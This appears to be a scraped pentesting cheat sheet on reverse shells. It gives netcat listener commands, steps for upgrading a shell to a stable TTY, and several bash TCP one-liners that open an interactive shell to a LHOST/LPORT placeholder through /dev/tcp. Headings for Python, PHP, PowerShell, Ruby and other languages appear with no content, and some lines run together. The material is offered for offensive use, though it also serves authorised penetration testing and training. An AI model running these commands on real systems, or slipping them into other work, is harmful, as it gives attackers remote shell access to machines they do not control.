Reverse Shells
Stable TTY Shell
nc -lvnp
python -c 'import pty;pty.spawn("/bin/bash")'
^Z
stty raw -echo
fg
echo $TERM && tput lines && tput cols
export TERM=xterm-256color
stty rows <num> columns <cols>rlwrap nc -lvnp 1234Bash
Bash TCP
bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"exec 5<>/dev/tcp/LHOST/LPORT && while read line 0<&5; do $line 2>&5 >&5; done0<&196;exec 196<>/dev/tcp/LHOST/LPORT; sh <&196 >&196 2>&196Bash UDP
nc -u -lvnp 1234
Python
PowerShell
PHP
Java
Node JS:
Netcat
Ruby
Windows specific:
Perl
Windows specific:
Golang
AWK
Last updated